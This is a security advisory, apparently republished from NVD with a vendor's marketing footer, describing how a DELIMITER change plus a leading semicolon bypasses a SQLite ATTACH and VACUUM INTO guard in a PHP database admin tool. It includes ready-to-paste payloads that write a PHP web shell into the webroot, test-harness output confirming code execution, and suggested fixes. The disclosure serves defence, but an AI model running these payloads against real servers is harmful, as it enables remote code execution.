The SQLite guard that blocks ATTACH and VACUUM ... INTO in the SQL command page can be bypassed with a leading semicolon. A logged-in user can therefore write a file to any path the web server can write to, and run code on the server.
This is a new bypass of the same guard that was hardened for CVE-2026-96634 (ATTACH filter bypass, ZDI) and CVE-2026-96630 (VACUUM INTO). The guard now handles the preg_match() return value correctly and also covers VACUUM ... INTO, but both branches are still defeated.
admin/sql.inc.php:149 on main (same check at admin/sql.inc.php:147 in v5.8.0):
if (DIALECT == "sqlite" && preg_match("~^$space*+(ATTACH|VACUUM\\b.*\\bINTO)\\b~is", $q, $match) !== 0) {admin/sql.inc.php:65 defines what may precede the keyword:
$space = "(?:\\s|/\\*[\s\S]*?\\*/|(?:$line_comment)[^\n]*\n?|--\r?\n)";$space covers whitespace, block comments and line comments. It does not cover ;.
Three facts combine:
^, so the blocked keyword must be the first token of the chunk $q.; as an empty statement and then compiles and runs the statement that follows. $space does not match ;, so the regular expression does not match.admin/sql.inc.php:89 lets the client change the statement delimiter with DELIMITER. The splitter then cuts chunks at that delimiter instead of ;, so a ; can appear at the start of a chunk.
With the default delimiter a leading ; always ends its own chunk, so the keyword still starts the next chunk. After DELIMITER | the whole string ;ATTACH ... ;| becomes one chunk. The regular expression sees ; first and does not match. Connection::multiQuery() then passes the chunk to SQLite3::query(), which skips the ; and runs the ATTACH.
The same bypass works through the SQL import form, because get_file("sql_file", true, ";") feeds the same loop.Log in to a SQLite connection, open the SQL command page, and run:
DELIMITER |
;ATTACH DATABASE '/var/www/html/pwn.php' AS pwn;|
CREATE TABLE pwn.t (c text);|
INSERT INTO pwn.t VALUES ('<?php echo "RCE-OK"; ?>');|pwn.php is created and contains the text. Requesting it runs the PHP code. The SQLite file header is not valid PHP, but PHP ignores everything outside <?php ?>, so the payload still runs. This is the same final step as CVE-2026-96630.
The VACUUM ... INTO branch falls to the same trick:
DELIMITER |
;VACUUM main INTO '/var/www/html/pwn2.php';|Using the line comment token as the delimiter also works, and needs no trailing ;:
DELIMITER --
;ATTACH DATABASE '/var/www/html/pwn3.php' AS pwn--I could not serve the application in my sandbox, so I drove the vulnerable path with a harness that copies the splitter and the guard from admin/sql.inc.php (lines 65, 80, 89-150) without changes, against a real SQLite3 connection on PHP 8.5.12. Each chunk is printed with the guard's verdict.
--- baseline (plain ATTACH) ---
[BLOCKED] "ATTACH DATABASE '.../webroot/a.php' AS pwn;"
=> no file
--- baseline (plain VACUUM INTO) ---
[BLOCKED] "VACUUM main INTO '.../webroot/b.php';"
=> no file
--- bypass A: DELIMITER | + leading ; ---
[ALLOWED] ";ATTACH DATABASE '.../webroot/c.php' AS pwn;|"
=> FILE WRITTEN (0 bytes)
--- bypass B: DELIMITER -- ---
[ALLOWED] ";ATTACH DATABASE '.../webroot/d.php' AS pwn--"
=> FILE WRITTEN (0 bytes)
--- bypass C: VACUUM INTO ---
[ALLOWED] ";VACUUM main INTO '.../webroot/e.php';"
=> FILE WRITTEN (4096 bytes)
--- full chain: arbitrary PHP file write ---
[ALLOWED] ";ATTACH DATABASE '.../webroot/shell.php' AS pwn;|"
[ALLOWED] "CREATE TABLE pwn.x (c text);|"
[ALLOWED] "INSERT INTO pwn.x VALUES ('<?php echo "RCE-OK:", PHP_VERSION; ?>');|"
=> shell.php written (8192 bytes)
=> executing it as PHP would print: SQLite format 3 [...] RCE-OK:8.5.12The baselines confirm the guard works against the direct form. The last line is the written file run through the PHP interpreter. It printed RCE-OK:8.5.12, so the file holds code that the attacker chose.
I also checked the engine behavior on its own:
sqlite3: plain ATTACH ret=true FILE=CREATED
sqlite3: SELECT 1; ATTACH ret=true FILE=-
sqlite3: leading semicolon ATTACH ret=true FILE=CREATED
sqlite3: ;;ATTACH ret=true FILE=CREATED
sqlite3: leading ; + newline ret=true FILE=CREATEDSQLite3::query() runs only the first statement, so a second statement after ; is not a route. A leading ; is.
Please confirm on a live instance through the UI. The payloads above are the complete input for the SQL command textarea.
main at commit d3f73e467fc8304ca65ed440f5c7c829cdaa6aa9 (VERSION = "5.8.1-dev"), guard at line 149.v5.8.0, guard at line 147, DELIMITER handling at line 89. The regular expression is byte for byte the same.
Both are in the supported set named in docs/security.md.A user who can log in and reach the SQL command page on a SQLite connection. The web server process must be able to write to the chosen path. This is the same position as CVE-2026-96634 and CVE-2026-96630.
I suggest medium, to match your rating of CVE-2026-96634, although the result is code execution on the server. Please rate it as you see fit.
A deny list in front of the SQLite parser has now failed three times, so I suggest removing the need for it:
SQLITE_DBCONFIG_DEFENSIVE and, more to the point, use sqlite3_db_config(db, SQLITE_DBCONFIG_ENABLE_ATTACH_WRITE, 0, 0) if the extension exposes it. This stops the write at the engine.; as well as whitespace and comments in a loop until the text does not change, then test the keyword. Note that a plain ; is not the only form; $space also needs to keep its current alternatives.DELIMITER when DIALECT == "sqlite", since SQLite has no stored programs that need it. This removes the step that lets a ; reach the start of a chunk, and is a small change on its own.
Point 2 alone fixes the reported input. Point 1 is the durable fix.Fuente: NVD
Evaluación gratuita de vulnerabilidades
Evalúa tus prácticas de seguridad en la nube en 9 dominios de seguridad para evaluar tu nivel de riesgo e identificar brechas en tus defensas.
Obtén una demostración personalizada
"La mejor experiencia de usuario que he visto en mi vida, proporciona una visibilidad completa de las cargas de trabajo en la nube."
"Wiz proporciona un panel único para ver lo que ocurre en nuestros entornos en la nube."
"Sabemos que si Wiz identifica algo como crítico, en realidad lo es."